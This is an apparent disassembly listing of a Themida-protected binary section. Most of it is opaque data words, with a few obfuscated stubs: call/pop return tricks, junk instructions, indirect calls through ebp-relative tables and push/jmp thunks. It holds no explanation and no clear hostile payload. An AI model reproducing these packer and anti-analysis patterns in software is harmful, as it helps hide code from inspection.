		dd 3889C263h, 0A509B54Fh, 63F42241h, 0D1E08DC2h, 9207BA51h
		dd 7CF4A330h, 0C2640861h, 4AAA5280h, 63A1A32Eh,	0D17E5DD4h
		dd 0D4398935h, 2C0CDDCDh, 0B732ABDCh, 5AD4E387h, 2A09582Dh
		dd 0E79A026Fh, 0FE000001h, 36CE7662h, 122AEA9Dh, 241B4AAEh
		dd 5F74CA5Eh, 698BB121h, 0EC9B7E0h, 0EA0A30A1h,	724E7261h
		dd 5E245F86h, 9CEBB8CAh, 0D7DAF4E0h, 0EAC341FBh, 5A73D7D9h
		dd 14834CA8h, 2604CC68h, 3E65914Bh, 97CA5E18h, 0FBB2BA0Ah
		dd 22ADCBBCh, 0D00301CDh, 0C0408CF0h, 0CB056B44h, 0CAB64E39h
		dd 0C30A20Fh, 0EA755FE8h, 75C48B56h, 411DA330h,	0BE876D97h
		dd 197539D9h, 5D74B6ADh, 0D5C20FCAh, 5D77FD1Bh,	9A3E62CAh
		dd 0CA5D708Bh, 0B8C8CFE4h, 0BE46901Dh, 0CE036D46h, 7D219F34h
		dd 0C8DCA735h, 0CF19F733h, 0CA5DFDD0h, 0A3EF9829h, 0DED5139Bh
		dd 0AD689332h, 0BE339EDAh, 24E0F311h, 83DC2878h, 0E0B96403h
		dd 0F105D3B7h, 5E01DE05h, 929135CAh, 0EBCA5E02h, 0FCC7DCD6h
		dd 43C98B4h, 0E5B2527Ch, 3E93B7D3h, 0EFDD9304h,	0F4D2581Fh
		dd 0E3352C98h, 458EC263h, 0BE5C6852h, 0E4F48D53h, 69785C64h
		dd 0C2C263A5h, 82DEE2F1h, 7E47AD57h, 0CB41E856h, 0A8EF0303h
		dd 7E6A46EAh, 0C263A867h, 5DADF4C0h, 0D653E84Ch, 0B44E83EDh
		dd 10199FE3h, 64700CB0h, 88F18DCh, 607E4770h, 2ACEF2CAh
		dd 0BA65FDFBh, 2A187F54h, 28C6DD9Ah, 0AE25D9FFh, 0E3616E12h
		dd 0C4A804B4h, 21FDF709h, 65ECAEB5h, 9BA07BAh, 0EC243BA7h
		dd 347DBA65h, 8CB91563h, 8F2FC5C0h, 0E230A388h,	0DD3CD6DEh
		dd 718D3D1Fh, 48FCDA26h, 0AA72BF59h, 0A1BE16CEh, 11DEh
		dd 0B0629A3Ah, 8FA02D0h, 0AB57D1E8h, 1EF40EC3h,	0C250F4E2h
		dd 7462F214h, 923E42D0h, 7760A072h, 9E3935CDh, 952BAE64h
		dd 5D933231h, 29E98BC2h, 9ED04D2h, 0CA5E23DAh, 8B359E33h
		dd 2E59E3EFh, 5780DCE4h, 197E47ADh, 6E52ECE7h, 8C67C966h
		dd 3A94F279h, 44CEB90Ah, 4FC9E07Ch, 0AE125448h,	5E241B4Ah
		dd 385F74CAh, 0F4848852h, 31997328h, 7E229E35h,	4750F4E2h
		dd 57D5E3B1h, 5F74D8D2h, 7B48F2A5h, 821F6D35h, 182795D0h
		dd 0A98282BAh, 230F6D1Ah, 19E3209Bh, 2D5183B9h,	17BB0519h
		dd 0C263FF08h, 0B1475061h, 0C263FFAEh, 43ECDh, 0AA4AFAD4h
		dd 3521B825h, 0F9B4ED93h, 4AAC1746h, 7FA6526Eh,	0D8C263ACh
		dd 0CA21BCCBh, 6FFD1647h, 0C8066A02h, 0A8EFB83Ch, 161D7h
		dd 0BA153900h, 0D21DFF88h, 0E441FE07h, 0B10D14C0h, 5D66CA5Dh
		dd 64B4C067h, 896D516Fh, 0CA5D9B5Ah, 0B791EB3h,	9E4AE7EFh
		dd 0CA5D9B87h, 0C000D3E0h, 0F311339Ch, 0E3CF2D5Ah, 0E4B34D87h
		dd 5D9F0E0Ch, 539833CAh, 5D97706Fh, 0CBF8C9CAh,	0AF137737h
		dd 0CA5D97B0h, 0D2F00AC7h, 6F6A9601h, 448FEBD5h, 1D26C67h
		dd 9F5D2A03h, 0C64057F3h, 0D7EFC9C1h, 5D96F4EBh, 41CD5FCAh
		dd 79ACFF82h, 285C6839h, 35B7F770h, 8428883Bh, 0B054ECE8h
		dd 2087017h, 7D25825h, 0C3D46E63h, 9603ABF7h, 8DD67730h
		dd 88E4CC36h, 0D3715E4Bh, 0C92B9831h, 0E5739700h, 3DA94691h
		dd 0C2633326h, 63A1327Fh, 0E7B7F9CAh, 0BD80FFDBh, 546433CDh
		dd 0BFC36838h, 89A2DF6Ah, 8C307AFEh, 0B2FFCA60h, 6C88C60Eh
		dd 8F19238Bh, 0BA143808h, 0C9544B77h, 24ADBA65h, 5E6D11AFh
		dd 5757B3E4h, 0E024DEF3h, 96404047h, 0FD8EB71Bh, 5DF5704Ah
		dd 168B388Bh, 0CEAAE86Eh, 0EFF00D67h, 4B00000Fh, 67877B85h
		dd 3D41D16Bh, 629E74AEh, 3737CB71h, 27AD659Fh, 0CB7955FFh
		dd 639D3737h, 0FC06CFAFh, 55EFEA06h, 42A61ABDh,	0C25D9123h
		dd 0D21ADA7Ch, 9CC00004h, 107A0D37h, 0BC4BA030h, 61A3A12Eh
		dd 0B2F3FCC8h, 0EFEA1681h, 0A42FD502h, 7D2AE6Eh, 0BB4986EAh
		dd 5E24362Dh, 0E7EF8FCAh, 0C50E975Dh, 5CEB20Eh,	10EC98FFh
		dd 52EAE8C5h, 6AA19B2h,	1BD9536Ah, 0A9850592h, 0D8526905h
		dd 3E65931Ch, 97CA5E24h, 0E8F37D0Ah, 11CA5E23h,	58E2EF47h
		dd 0C0139Ch, 0C8CF715Ch, 1EB894F8h, 73D7A1E6h, 74D25EB0h
		dd 4146FED8h, 0AAB91D81h, 3C25D97h, 139B25AEh, 49104BB3h
		dd 48F89F5Ch, 35CF0864h, 76BB1662h, 0AB49C3DAh,	0DCCFD622h
		dd 9B28C25Dh, 7AD6DA28h, 32C9A75Dh, 66718FF8h, 0DD061DC9h
		dd 525FC25Dh, 63A1A32Eh, 1FFBF9CAh, 0DD48577Bh,	10A1C25Dh
		dd 0B5B58387h, 94F2D5D1h, 1BA52EBCh, 8C68923Fh,	0E4D4C3h
		dd 0CA57735Ah, 11339BBFh, 8D2D5AF3h, 755EE4F1h,	0AD283E3Ch
		dd 203D97CEh, 0ECAh, 6C96AE26h,	4CB64E84h, 679B9524h, 62B04A87h
		dd 7E94B01Eh, 28A6AED8h, 0CE0AE61Ch, 2BA4CC36h,	0CA05E919h
		dd 0C1FFCA38h, 5D900E15h, 0D0D67C2h, 4C0DC212h,	0DEE61EB4h
		dd 0CBBC62EAh, 6E2122ADh, 0F38EA76Eh, 0FB9F21B2h, 5DC6C8D7h
		dd 0F09021CAh, 129B59E3h, 931BF785h, 3098783Bh,	0EF11766Ch
		dd 3A565AE4h, 5E04978Eh, 0B4E3F0CAh, 9FA62C48h,	3FB9A084h
		dd 787C47BFh, 32D2725Ch, 97B437AEh, 0DD545C04h,	0D2C6BCC4h
		dd 1D27ACD4h, 9C494ED7h, 7461FD3Dh, 5E8A36CEh, 0CA5D5E47h
		dd 0D7C013A0h, 0ED152EA9h, 96A04E9Ch, 0DB7F4192h, 29D3FFCCh
		dd 0C6D15A9Ah, 5C5C644Ch, 8FB92B7Ah, 82D3B2E5h,	0D6059533h
		dd 0C9CAD6CEh, 6A64E1CFh, 0E19EE9DAh, 2Eh, 68775B3Fh, 0C1CA5DAFh
		dd 0C40F359Dh, 0AE12C1D3h, 5E241B4Ah, 0C60C74CAh, 0F502953Eh
		dd 357h, 0F8D37713h, 2483A246h,	0C7DCCA5Eh, 6E12DCC0h
		dd 861FE55Fh, 24647701h, 0CB8DCA5Eh, 22E25C6Bh,	1A763A89h
		dd 5E24B7AEh, 0D4C310CAh, 7BF8C8E4h, 8BFA0207h,	378CB621h
		dd 4619A850h, 0A030D25Eh, 0A68E2F57h, 0F70DC550h, 5FFFBBCCh
		dd 0B7F9CA74h, 0EDF0EFD3h, 7849C25Dh, 0F18D310Fh, 4C2C5BE1h
		dd 0A1428081h, 0E308DBB9h, 23ACD0F0h, 141C7621h, 9F659F38h
		dd 547F8106h, 0FDC64057h, 0E9A2EBB3h, 0D430D2FBh, 87F6C9FBh
		dd 45BF418Bh, 0D430576Ch, 120C4E8h, 58C25D2Bh, 5D2B756Ch
		dd 0BD05CEC2h, 0E70D37A1h, 0E022755Eh, 8B9A3E5Ah, 0E4C25D2Bh
		dd 0F4BC04CFh, 86054B66h, 0BF810681h, 0A39D3DBh, 0F0468E16h
		dd 30FD24D0h, 4D56C25Dh, 3928B63Ah, 0F18DCA57h,	119A5AE0h
		dd 3E94BC86h, 0D86C6A06h, 7140931Ch, 0CEAD6269h, 0E7E7146Ch
		dd 4300000Ch, 5F9F738Dh, 3539C973h, 5A966CA6h, 2F4FC379h
		dd 0DF659DA7h, 13319DB7h, 2BD5FFFFh, 43E97D7h, 5DE7F20Eh
		dd 3A9E22A5h, 0C25D8E2Bh, 1212E284h, 0FC00D2AEh, 9AC92FF8h
		dd 0F3CA5E24h, 38F683DFh, 1AA9D4A3h, 0AB408B6Dh, 5DE11847h
		dd 9BA52FCAh, 0BB398A17h, 0AC567BDFh, 0D4308D18h, 0B4E35805h
		dd 96F809C4h, 0C29B1D6Fh, 0C8D8D8EBh, 7900EA19h, 58E5EFDAh
		dd 499A19F4h, 2B47B5E2h, 79659FA1h, 8E4DA75Dh, 2477D417h
		dd 4AF2E07Ch, 0EF7621AAh, 0A5304CECh, 0C10CEC9Bh, 0B972C240h
		dd 99350780h, 13C0896Bh, 666E52C0h, 0A5623F9Fh,	0B4215F9Ah
		dd 0AADD768Eh, 95D48ADBh, 0E3D6DE05h, 1F46B2A6h, 78CA5DBAh
		dd 70D7992Bh, 1F07781Fh, 29000000h, 797B8945h, 682A399Dh
		dd 2E83CA5Dh, 1222F2A5h, 6F0A74C2h, 0D4C3882Fh,	17AA3h
		dd 0FEDCE100h, 0C01329AAh, 8BC7B000h, 9FE1CDDEh, 86448F8h
		dd 55EFE4F1h, 0F55F197Eh, 0E2D25EA5h, 50B4507Eh, 0A2321077h
		dd 0A063C328h, 0E5685C07h, 0A2E08CCFh, 733B854Eh, 18E18944h
		dd 22B0D01Fh, 4651DA1Ah, 9D3A167Ah, 0D3C48D67h,	192AA5h
		dd 0E8D3496Ch, 4A808BBh, 5DB6C1E0h, 0E7891AC2h,	0CB4750EAh
		dd 0B34D87E3h, 0B43994E4h, 2F0BE91Bh, 5DB79CC3h, 17ACF5C2h
		dd 3CA804ACh, 0C25DB725h, 9A62357Eh, 3C96F2C8h,	99F5BB08h
		dd 5DB7362Dh, 55428FC2h, 43F87F63h, 8F1FCA5Eh, 31A67251h
		dd 162473D6h, 8C47238Dh, 77132572h, 619B3713h, 0C7DE0AA3h
		dd 20BA5DF1h, 199A4193h, 0B5015993h, 0F63B96E2h, 5D88D3D2h
		dd 2C972CBAh, 52EAE884h, 0C5E9C545h, 5D890221h,	41465BBAh
		dd 9C6B943Fh, 0C0444973h, 8F44FED9h, 78D4C044h,	31309461h
		dd 8ABA5D59h, 5FD8A39h,	35FAD333h, 5D599291h, 0EDD6EBBAh
		dd 5D76DAD6h, 13844DA7h, 0E8E58925h, 2DC32D5Ah,	62C25775h
		dd 6532D2FEh, 25DFF955h, 908F33DFh, 0E9B2633Eh,	0C9D8EBD8h
		dd 0D6AD4E07h, 0C38976CEh, 1F00000Ah, 737B87B1h, 916DA55Fh
		dd 2E52C07Ah, 8B739FA5h, 8351C143h, 5FE5F163h, 0FF01CBB3h
		dd 60E2EB13h, 103CEB2h,	4E7A4611h, 0C25D8C57h, 12C6D6B0h
		dd 0B5E2626Eh, 2CEC2h, 7FDEE600h, 0FBC95295h, 1220F4A3h
		dd 1FE55F6Eh, 0B83B5387h, 0BB8FDB2h, 54B4867Ch,	663FC57Fh
		dd 6737535Dh, 0F77D82D8h, 4261879Eh, 99CA5D75h,	5D75362Dh
		dd 80428FCAh, 0AB49F3E0h, 0DAE6B122h, 3399AB6h,	0B2B11501h
		dd 0BCA5D75h, 0F67A0DB6h, 0D25E01A4h, 5DE7EB93h, 0FBC50E97h
		dd 0BCCB755Fh, 0CC7560FCh, 0EC8D769Eh, 49675C9Bh, 0EB9C9625h
		dd 11BB9F9Fh, 7D58A8EFh, 0E2DE6670h, 5CB7EFF6h,	487B48C2h
		dd 0C06B5868h, 47FE8032h, 0B891738Dh, 2241A50Bh, 7BC25CEDh
		dd 0F7A36126h, 2EC67853h, 4A10F2A5h, 0A064E0EEh, 0BE91BB4h
		dd 7E429142h, 4B5A7E22h, 0A4C25CEDh, 1E45B10Fh,	77C25CEDh
		dd 24935D2Ah, 4BCA5D7Ah, 5B99A32Fh, 0ADF5C5D2h,	7F14EFE3h
		dd 3993DDDAh, 0ACF4BC07h, 58357906h, 310F7817h,	5CE6F18Dh
		dd 6D824D2Bh, 5CCE5A89h, 0B51EB3BAh, 85626F0Bh,	7E09BA48h
		dd 64902C14h, 0BA5CCE3Dh, 0E319BA96h, 0BF7990F0h, 2DA8D8h
		dd 5CCDCDD4h, 269D26BAh, 0A3C2268Ah, 0FCBA5CCEh, 7824E0A7h
		dd 2A0A0328h, 27E36FB8h, 0F6F1E376h, 0E7F28E05h, 82582A5Dh
		dd 299AAA26h, 0A0BF2387h, 0F9BA5CA9h, 0F5E1DFA8h, 0C256C47Fh
		dd 13B98B4h, 4BA9537Fh,	9D251582h, 8A006CAFh, 0DED3009Ch
		dd 0D6AE56FEh, 1F607DD7h, 7B000009h, 1757AB55h,	6D9181BBh
		dd 522EE45Eh, 67877B81h, 973DD56Fh, 5BE9E56Fh, 0F30DC7A7h
		dd 4CF6DF1Fh, 0E51FBAB6h, 0B216AA2Dh, 0C25D8AB3h, 12AA6A0Ch
		dd 241B4AAEh, 5F74CA5Eh, 738D4838h, 5832854Dh, 0EC30D0B3h
		dd 1935E19Bh, 916D87BDh, 6C45BF45h, 86BC1957h, 17D4FF01h
		dd 5DFEB4ABh, 0FC40DCAh, 35CF09F5h, 182AA3CFh, 0A02D53DCh
		dd 10CD62A2h, 811F7CD9h, 3E212531h, 9502D4F0h, 4D3111C8h
		dd 0E3158280h, 4A5A56E8h, 8DF5000Ah, 0B05A2DABh, 0DE666C10h
		dd 0F285D4B9h, 0C7D70595h, 9810712Bh, 3D0EF24h,	5EBC7064h
		dd 0B4B24552h, 0D6000000h, 9A75D7Ah, 5DD8C6DDh,	5921FCAh
		dd 0AAFEDC0Fh, 4F01428h, 0F0B93BF5h, 0ACD0F0E3h, 0C474231Dh
		dd 58735020h, 41A509D2h, 0C263D422h, 6161267Bh,	0C20C7050h
		dd 47635542h, 5A9A9423h, 23BAC6D1h, 0B80B3996h,	9FBFA8F8h
		dd 9BB4192h, 593EB1D6h,	7859F5B9h, 1E6942C2h, 63D1485Ah
		dd 9C9A5C2h, 4F3811F3h,	8E49A631h, 0CB79074h, 40A408A4h
		dd 0C263D121h, 0A0BF297Ah, 0F9C263D1h, 8B33DFA8h, 2A5DE7EFh
		dd 0A632BF4Eh, 0EF8B359Eh, 0D12B5CE6h, 0B64C89E5h, 7D4AED1h
		dd 0AE120000h, 63D11B4Ah, 712F86C2h, 8DD573B2h,	65909D25h
		dd 54399CE1h, 1204187Fh, 0B3E4606Eh, 0FBE708C5h, 0CA5E23E4h
		dd 0A55F743Dh, 0F2A9A9F9h, 533679D2h, 14993444h, 66A037BAh
		dd 0F60EC58Eh, 664A665Dh, 5D3C6382h, 0A0E7BCCAh, 87864EF2h
		dd 0E71DB62Ah, 85A4B5DDh, 6EBE612h, 0F2BB39CBh,	13C0448Eh
		dd 20625ADh, 7E1E9A47h,	0ABCF6B19h, 4FD81C26h, 54B7D385h
		dd 8314D136h, 7D555A75h, 2FA42DC7h, 61DD4191h, 0F0660ED6h
		dd 574598E4h, 4255BF91h, 4E84E8C8h, 22753EB6h, 0D1FE5AE0h
		dd 0CBF8D133h, 0DCAF01E5h, 106CD257h, 98C72BC6h, 0F1C263AFh
		dd 3811F3E0h, 0A74B734Fh, 0C263AF78h, 705FB3E3h, 0AD15007Fh
		dd 6D11AF24h, 8720E45Eh, 0CDD08400h, 0ECC26409h, 0B9A55FE1h
		dd 0BE469019h, 0F46BEF15h, 29E58F5h, 0A2B3A9Eh,	2F84C264h
		dd 0DE5E7D68h, 31BE4ED6h, 2166AF4Eh, 6FC17DECh,	0CA7F4F02h
		dd 0D4203FAEh, 9EB11C1h, 73049340h, 9Fh, 0E41EB995h, 1C008720h
		dd 0E3616E12h, 0BFF8821h, 0F0F9D92Dh, 129B59E3h, 0E913BFC1h
		dd 2F91420Bh, 0A4276F9Fh, 46511B13h, 4E7A167Ah,	0CA5D8557h
		dd 0FC7423B0h, 0D257BA16h, 5064C30Bh, 827EC961h, 2A9AC220h
		dd 861184E7h, 79CAE8BCh, 7C54E471h, 0A1456947h,	0C263DB82h
		dd 43C1C6DBh, 63DB8C8Fh, 1C26ABC2h, 33EDFCD8h, 172DA5D1h
		dd 0F9654DDh, 97877FCCh, 9FE81AB3h, 71E023C6h, 43026FCCh
		dd 4E2EC17Bh, 0CB08BB69h, 82F5A231h, 1F0h, 0EFCB1EA6h
		dd 0FDCDAB1Eh, 4CA85A73h, 12001483h, 21E3616Eh,	0D601FF88h
		dd 24B6AD19h, 0C20FCA5Eh, 3CCBAF11h, 5E290202h,	0BA96FAA6h
		dd 440DE71Dh, 5E24ADB4h, 0CABD06CAh, 0B42520AEh, 8DD5F501h
		dd 0FAA65E75h, 2DC77D56h, 0CA05F3A4h, 0F9D47838h, 91B27D47h
		dd 0ACC7B043h, 0D97521DBh, 255344FEh, 778C45AAh, 0C94722C2h
		dd 9A16AD62h, 5E05372Eh, 904390CAh, 0D9FAA030h,	0E915D131h
		dd 304CF49Eh, 0CD669EA6h, 6E2836BAh, 0F18DCA5Dh, 4B2D5AE0h
		dd 58876B80h, 0B1CA5D66h, 28EAB420h, 63D6FB09h,	0C29EA270h
		dd 7019811h, 286F38BCh,	0C430FDD8h, 0CA5D509Dh,	7E17ADF6h
		dd 9618C355h, 0B101BF14h, 7121BF9h, 7D4C620Bh, 0A3B33F07h
		dd 19D6730h, 31D3715Dh,	3D1BEF98h, 0CE2C743Ch, 178FD94h
		dd 7FD2D1F5h, 962BCA5Dh, 425E5A2Dh, 7292B21Eh, 444AAED9h
		dd 49D25791h, 6F628165h, 0E6BBC263h, 50B4488Ah,	0A1321077h
		dd 72AC3B1Fh, 44CEB992h, 0ADB4207Ch, 0C4C2636Fh, 35FEF60Eh
		dd 2F53448Dh, 3A698DA9h, 93C2636Fh, 8F2B953Eh, 0A55FE1EBh
		dd 6ED6CDF9h, 0A22FC263h, 3C638F31h, 95C2636Fh,	2BF57B0Ch
		dd 0ACA60AFh, 1DD76D66h, 1D813F94h, 662EAAB9h, 0CED501BAh
		dd 27BA662Dh, 0FC8B189Ah, 0EDFC603Ch, 0BA146433h, 2E544B77h
		dd 676BBA66h, 348E17DDh, 0F08C349Fh, 0DD2D5AE2h, 11BC35A1h
		dd 0E7CDE4EFh, 0EECEAA5Dh, 4A46996h, 0D0000000h, 3C96DA28h
		dd 0E7F6FA08h, 3899D52Dh, 0E6F01002h, 22B45Eh, 38CA7A54h
		dd 0AE649C38h, 13FF05D2h, 0B45EE0EBh, 342B9725h, 8DC25D86h
		dd 6E1223F7h, 0CAB6E163h, 0E201E50Ch, 3BCA5E23h, 0F7535D66h
		dd 49E222DCh, 21ACD43Eh, 2611A11Fh, 69297F44h, 8D70279Dh
		dd 313BD195h, 6804AC66h, 0CFC5D26Ah, 0CDDBC212h, 0A775C5D6h
		dd 0F810AAE0h, 31313094h, 398ACA5Dh, 5D31B0AFh,	0BB809CAh
		dd 2A111DA5h, 828BC862h, 0E3872315h, 0BF1957E9h, 785E1285h
		dd 6FD25767h, 54929763h, 5380F4A2h, 7EA5516Dh, 0D7C2629Bh
		dd 533FBDCAh, 266A394Bh, 0B8F8FAB6h, 62C7150Ch,	32656EC2h
		dd 62C7A3BEh, 0F22BC2C2h, 3F5B67C0h, 3CB80B73h,	688CB420h
		dd 0E16E6DF4h, 0C83B9E25h, 26EB299h, 0BE788FEBh, 0A7F014C2h
		dd 206D8h, 0AE121400h, 5E241B4Ah, 615F74CAh, 5E246E75h
		dd 8DFAC7CAh, 438B606Bh, 46F212C1h, 24677E6Ah, 6F7ECA5Eh
		dd 3C764FB5h, 0F6E02067h, 0C82CD6FBh, 90ECD4FFh, 1BB5BB45h
		dd 55420BE9h, 0BEC30BA7h, 79A5BBCDh, 603646B2h,	591CBB74h
		dd 0F194CA2Eh, 55F9CA5Dh, 0C2BEC97Bh, 63E9A17h,	56945BDh
		dd 0F5BE36CCh, 0D7C0428Bh, 14C12EA9h, 863D16EEh, 0AEED26Eh
		dd 0CA5DE8DBh, 12F89F34h, 0E17D4348h, 1EA74DF7h, 2D1BC779h
		dd 32D257FAh, 8A6E834Eh, 0C263D85Bh, 0E3B41FB4h, 0D455CBD7h
		dd 4265D42h, 0F2BB39CBh, 0F2CEF2E1h, 40C4408Eh,	0BF628167h
		dd 5979C263h, 0EAC861A3h, 5C64AED9h, 0BF8D9440h, 0E4C263h
		dd 0C263BEE1h, 7849693Ah, 95DFB0Fh, 804E32C8h, 61714F84h
		dd 9606884Dh, 0D16F18BCh, 0AD7A91EDh, 63551A49h, 755E73C2h
		dd 1EBAB68Fh, 0A6D7A1E6h, 41CA6091h, 2BD1015Dh,	6618A6BDh
		dd 0D43A11BAh, 80C32493h, 1C267142h, 40992987h,	6CA63591h
		dd 0A938E358h, 958BC1Bh, 7621D5B9h, 738AE6CAh, 515846BAh
		dd 9D266D4Eh, 0B7C9CE57h, 0F41FE61Fh, 0F20F38E2h, 12C1438Eh
		dd 0AEDE26AEh, 136FEE21h, 6553B0AFh, 0BB809BAh,	4E320E7Ch
		dd 0AA838183h, 0BE339BDDh, 3A13F113h, 38381889h, 439DCEABh
		dd 25516h, 1923B100h, 37CD05E9h, 1A14A3CBh, 31CB08E8h
		dd 13319DE1h, 272D55FFh, 817D95AFh, 1955AD57h, 747C86BCh
		dd 6C5BA759h, 837DA450h, 80D6C25Dh, 12AE127Ch, 5E23BFE6h
		dd 5D8B18CAh, 0CA5E2446h, 0A3A139Fh, 22EADE97h,	3C9AE6B1h
		dd 0CFEA1BB5h, 82557AD5h, 0AE0F4DFh, 0A923C1CBh, 0B808A81Bh
		dd 5B3BD234h, 0CD0967D6h, 0FEC25037h, 35CF7562h, 0C20DEB9Ch
		dd 941C8040h, 8397A638h, 221C709h, 19CA5DEDh, 0A98282B8h
		dd 43CFB809h, 577B1F7Bh, 0CA5DED48h, 0B9E810A1h, 12CA5DECh
		dd 12C6D6C1h, 23E1636Eh, 0D0FBFD8Ah, 0FCD2E72Fh, 76FAA56Ch
		dd 7F48AC58h, 0C4106C54h, 0F8DCB83Ch, 0CA5D67E9h, 35627142h
		dd 438FEBC7h, 27B2CEB9h, 0E0F309CAh, 33A0BCE0h,	67C0DF09h
		dd 3519CA5Dh, 2A5D669Ch, 0C3D0E0E0h, 26299A0Bh,	5CDE2473h
		dd 447A6D50h, 58CEEACFh, 0FDB4B5Dh, 0E9C7FCC7h,	0A3D5DAD9h
		dd 0ECE3D8A6h, 4F46A9D1h, 8632656Eh, 4362862Ah,	9CCA5DABh
		dd 79F88007h, 0B2D25E37h, 0D00301CEh, 1E388834h, 0D3292561h
		dd 2335786Ah, 646FB133h, 258A4533h, 738D47A8h, 0E90BB891h
		dd 9F9F7360h, 14F012BBh, 13FD043Ch, 3D86CB2Ah, 4EA32E4Ah
		dd 96828282h, 5C923332h, 8C378CC2h, 0FCD57937h,	7225AE46h
		dd 66922E0Ah, 0C25C923Fh, 0F47C0B98h, 0FB0F5D67h, 51B3498Ah
		dd 5B99AB25h, 880CABD3h, 2FAE0848h, 0C41633B6h,	0F69AAA41h
		dd 0A9C7D3D2h, 0F0972C89h, 0EAE8C510h, 0AA19B252h, 856C6A06h
		dd 713ABA48h, 0BB09A262h, 0C217550Ah, 11810605h, 7B81512Dh
		dd 99E7B079h, 1F25B13Eh, 39774CE5h, 248C8615h, 0A95EA1C0h
		dd 0DEA9FA89h, 64993A26h, 1F49558Ah, 0EA1AB4BAh, 560AEAD9h
		dd 502C0CCFh, 0AF787C84h, 0F03D98E8h, 0A969DD04h, 566D3689h
		dd 0BE1A365Ah, 13E56E86h, 89A96A0Ch, 0DF2B5C65h, 0AE507BDFh
		dd 0F1D6AE26h, 0C2D5583Dh, 39961BB6h, 54F8B80Bh, 1312B67Bh
		dd 6C89A93Bh, 0BF886C57h, 40902CD8h, 0F3F9C402h, 91357B75h
		dd 89A97792h, 0CEB1D6EBh, 1Eh, 0FB2ACEF2h, 5489A976h, 2AD0017Fh
		dd 869601CAh, 8F59C212h, 0F4EA6954h, 0ED9A29DBh, 2D2AC6Ch
		dd 0F3DEFAFAh, 0EC7B351h, 0E8E410F4h, 16C09C58h, 0ECEA16EEh
		dd 13C09C58h, 0D8EF0BE9h, 18BAA65Eh, 507220E4h,	4055854h
		dd 83000000h, 48704E8h,	66685C24h, 89000037h, 1E682414h
		dd 89000019h, 0BB53241Ch, 1B486C65h, 0C106E3C1h, 0C38104E3h
		dd 0E64EF932h, 89DF8957h, 815B5FFAh, 4ECh, 24248900h, 4240481h
		dd 5B000000h, 2C815251h, 0CE40AF24h, 0C1815937h, 37CE40AFh
		dd 59084B89h, 5B2434FFh, 4C481h, 34FF0000h, 0C4815A24h
		dd 4, 0F9DACBE9h, 0B82E48FFh, 800A39Bh,	0E0FFC503h, 53BE5481h
		dd 7D202C30h, 0E07E62Fh, 4C8A86E0h, 7FEA9841h, 3562DF83h
		dd 67A8896Bh, 63CDEE74h, 3902BFAAh, 49F21AEDh, 5D22CF2Fh
		dd 4CF0A1C7h, 3943624Ch, 7FCA5BC6h, 545C01CAh, 545C6D3Ah
		dd 7DE219BEh, 393C08BBh, 28828A00h, 7E8h, 352C4000h, 4A319F3Ah
		dd 8B5E7EB6h, 98C681CAh, 0B7000071h, 68A6h, 58FC0000h
		dd 3C8BD88Bh, 0CE906h, 6B680000h, 0DA0239Bh, 0CD3F69A7h
		dd 0C781DDA6h, 0A7C00Bh, 81D0B70Fh, 0E4CEB4C7h,	0EBB6630h
		dd 22EF8154h, 8032AEF7h, 3C8932C5h, 2870F06h, 8A000000h
		dd 28F0FD8h, 0B3000000h, 2E8839Ah
		dd 4848E4B3h, 2840Fh, 0DE8B0000h, 8EE4F881h, 850FFFFFh
		dd 0FFFFFFA2h, 0F9FD8A60h, 9F8D8D61h, 6A0800A5h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0DDBEC357h, 0E5BD89D5h, 8907FA1Ah, 0FA27C18Dh, 0EE907h
		dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 18A19D89h
		dd 85C707FAh, 7FA1C01h,	6694h, 25AD9D8Bh, 85C707FAh, 7FA1AEDh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_60C05F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60C05F	proc near		; CODE XREF: Themida_:0060C057p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_60C05F	endp

; ---------------------------------------------------------------------------
		adc	dl, ds:10F82E50h[edx*8]
		pusha
		sub	[ebp+7FA13C5h],	edi
		add	edi, [ebp+7FA291Dh]
		push	dword ptr [ebp+7FA3419h]
		pusha
		mov	cx, 594Ah
		cmc
		popa
		call	dword ptr [ebp+7FA177Dh]
		cld
		mov	edx, 1DE215CBh
		push	0
		call	dword ptr [ebp+7FA012Dh]
		mov	eax, eax
		jmp	short loc_60C104
; ---------------------------------------------------------------------------
		dd 61FA69F8h, 0D7574409h, 7257B9DEh, 0E172CDD3h, 3855BF63h
		dd 864F5254h, 2C3EB2F3h, 0E11EF29Bh, 0E45EA57h,	5D065FC8h
		dd 9415D25Ch, 98594C10h, 0F4B03EEEh, 0DD37AE68h, 2F44A154h
		dd 5ED28734h, 0E1286E78h, 8280D739h, 82BA68B0h,	3107F7B2h
		dd 86355042h, 0A9B8BE39h, 800B92D3h
; ---------------------------------------------------------------------------


loc_60C104:				; CODE XREF: Themida_:0060C0A6j
		jmp	loc_60C115
; ---------------------------------------------------------------------------
		db 38h,	0CBh, 26h
		dd 809E0168h, 7Ch
		db 0
; ---------------------------------------------------------------------------


loc_60C115:				; CODE XREF: Themida_:loc_60C104j
		jmp	loc_60DF65
; ---------------------------------------------------------------------------
		push	800A986h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800ABBAh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800AFAEh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800B258h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800B609h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800BBAFh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800BF6Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	800C1C0h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dw 646Ch
		dd 884A26DCh, 4B629E74h, 943D41D1h, 725CA46Eh, 6C9640D2h
		dd 0AC56EEE8h, 0AF808C4h, 0A75BE9E6h, 20F20CC7h, 405F8339h
		dd 99C25D7Eh, 6E12B7BBh, 0FE25D160h, 57CA5E23h,	0B27B794Ah
		dd 23BBEA0Eh, 0BF14CA5Eh, 0C02DA8D8h, 3D16EE16h, 0DAA67587h
		dd 71624E98h, 58876B4Fh, 0B1CA5DB4h, 0D5FE04CDh, 0B31E3AC2h
